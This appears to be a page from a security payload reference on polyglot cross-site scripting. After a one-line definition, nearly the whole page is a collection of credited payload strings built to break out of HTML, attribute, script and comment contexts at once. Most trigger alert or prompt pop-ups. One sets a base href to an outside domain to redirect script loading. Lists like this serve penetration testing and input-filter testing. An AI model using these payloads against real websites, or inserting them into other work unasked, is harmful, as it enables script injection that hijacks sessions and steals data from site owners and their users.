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Polyglot XSS

A polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the application’s inability to properly sanitize input in different parsing scenarios.

  • Polyglot XSS - 0xsobky 

    jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

  • Polyglot XSS - Ashar Javed 

    ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

  • Polyglot XSS - Mathias Karlsson 

    " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

  • Polyglot XSS - Rsnake 

    ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

  • Polyglot XSS - Daniel Miessler 

    ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

  • Polyglot XSS - @s0md3v https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg 

    -->'"/></sCript><svG x=">" onload=(co\u006efirm)``>

    https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large 

    <svg%0Ao%00nload=%09((pro\u006dpt))()//

  • Polyglot XSS - from @filedescriptor's Polyglot Challenge 

    // Author: crlf
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

// Author: europa
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>

// Author: EdOverflow
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

// Author: h1/ragnar
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`

  • Polyglot XSS - from brutelogic 

    JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

References